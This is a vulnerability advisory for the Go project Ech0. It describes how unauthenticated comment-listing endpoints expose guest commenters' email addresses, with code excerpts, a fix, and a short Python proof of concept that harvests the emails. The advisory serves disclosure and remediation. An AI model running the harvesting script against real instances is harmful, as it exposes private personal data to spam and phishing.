PT-2026-41608 · Go · Github.Com/Lin-Snow/Ech0
Published
2026-05-07
·
Updated
2026-05-07
CVSS v3.1
5.3
Medium
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
Summary
The
Comment model serializes its Email field through the public comment-listing API. internal/model/comment/comment.go:33 uses json:"email", while adjacent PII fields (IPHash, UserAgent) correctly use json:"-". The public endpoints GET /api/comments?echo id=X and GET /api/comments/public?limit=N both live on PublicRouterGroup with no authentication. Alice retrieves every guest commenter's email address on the instance with a few unauthenticated HTTP calls.Details
The Comment model at
internal/model/comment/comment.go:33:go
type Comment struct {
// ...
Email string `gorm:"size:255;not null;index" json:"email"`
IPHash string `gorm:"size:128;index" json:"-"`
UserAgent string `gorm:"size:512" json:"-"`
// ...
}The
json:"-" on IPHash and UserAgent shows the developer's intent: hide server-side PII from API responses. The Email field missed the same tag. GORM materializes the full struct and the Gin handler returns it verbatim.Routes at
internal/router/comment.go:20 and comment public-feed route:go
appRouterGroup.PublicRouterGroup.GET("/comments", middleware.NoCache(), h.CommentHandler.ListCommentsByEchoID())
appRouterGroup.PublicRouterGroup.GET("/comments/public", middleware.NoCache(), h.CommentHandler.ListPublicComments())Both handlers call
ListPublicByEchoID (service at internal/service/comment/comment.go:329) or ListPublicComments (service at :340), both of which return the slice of Comment structs to ctx.JSON. No DTO projection, no field stripping.The email field is populated for every guest comment: the submission form requires an email address so the server can later send moderation or reply notifications. The UI does not display the email, so users assume it stays server-side.
GHSA-m983-7426-5hrj (2026-03-22) closed a similar PII leak on
GET /api/allusers, which exposed account-owner emails. This report covers a distinct endpoint (/api/comments and /api/comments/public) and a distinct data subject (guest commenters, not registered account owners).Proof of Concept
Anonymous caller harvests commenter emails on the default install:
python
import requests
TARGET = "http://localhost:8300"
# Any echo UUID from the public feed.
pub id = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()["data"]["items"][0]["id"]
# No auth header. The response includes the raw email field.
r = requests.get(f"{TARGET}/api/comments", params={"echo id": pub id})
for c in r.json()["data"]:
print(f" nickname={c['nickname']!r} email={c.get('email')!r}")
# The /public variant returns recent comments across every echo.
r = requests.get(f"{TARGET}/api/comments/public", params={"limit": 100})
emails = {c.get("email") for c in r.json()["data"] if c.get("email")}
print(f"harvested {len(emails)} unique emails from /comments/public")Observed on v4.5.6:
nickname='GuestHarvestMe' email='leaked-harvest-target@example.com'
harvested 1 unique emails from /comments/publicThe instance had one guest comment; its email returned in both endpoints. An instance with any commenter volume returns every address.
Impact
Anonymous harvest of every guest commenter's email address across the instance. Email addresses submitted for moderation or reply notifications are treated as private by user expectation; any visitor pulls the full list with a short paginated loop against
/api/comments/public. Privacy-regulation exposure follows:- GDPR and CCPA. Email is personal data. Exposing it to any internet visitor without consent is a notifiable incident under both regimes.
- Spam and phishing targeting. Attackers map commenter emails to nicknames and per-echo topics, then send targeted phishing that references content the victim engaged with.
- Cross-instance aggregation. A scraper against any public-facing Ech0 instance yields a curated list of people who comment on the topics the site covers.
No authentication required. No admin role required. The
/comments/public endpoint returns cross-echo aggregated data, so one call covers the whole instance.Recommended Fix
Change the JSON tag on the Email field to match the adjacent PII fields:
go
Email string `gorm:"size:255;not null;index" json:"-"`Or, if some authenticated view needs the email, introduce a
PublicComment DTO that projects only non-sensitive fields:go
type PublicComment struct {
ID string `json:"id"`
EchoID string `json:"echo id"`
Nickname string `json:"nickname"`
Website string `json:"website,omitempty"`
Content string `json:"content"`
Status string `json:"status"`
Hot bool `json:"hot"`
Source string `json:"source"`
CreatedAt int64 `json:"created at"`
UpdatedAt int64 `json:"updated at"`
}Project the handler output through this DTO. Keep the raw
Comment struct internal to the service layer.Found by aisafe.io
Fix
Information Disclosure
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Github.Com/Lin-Snow/Ech0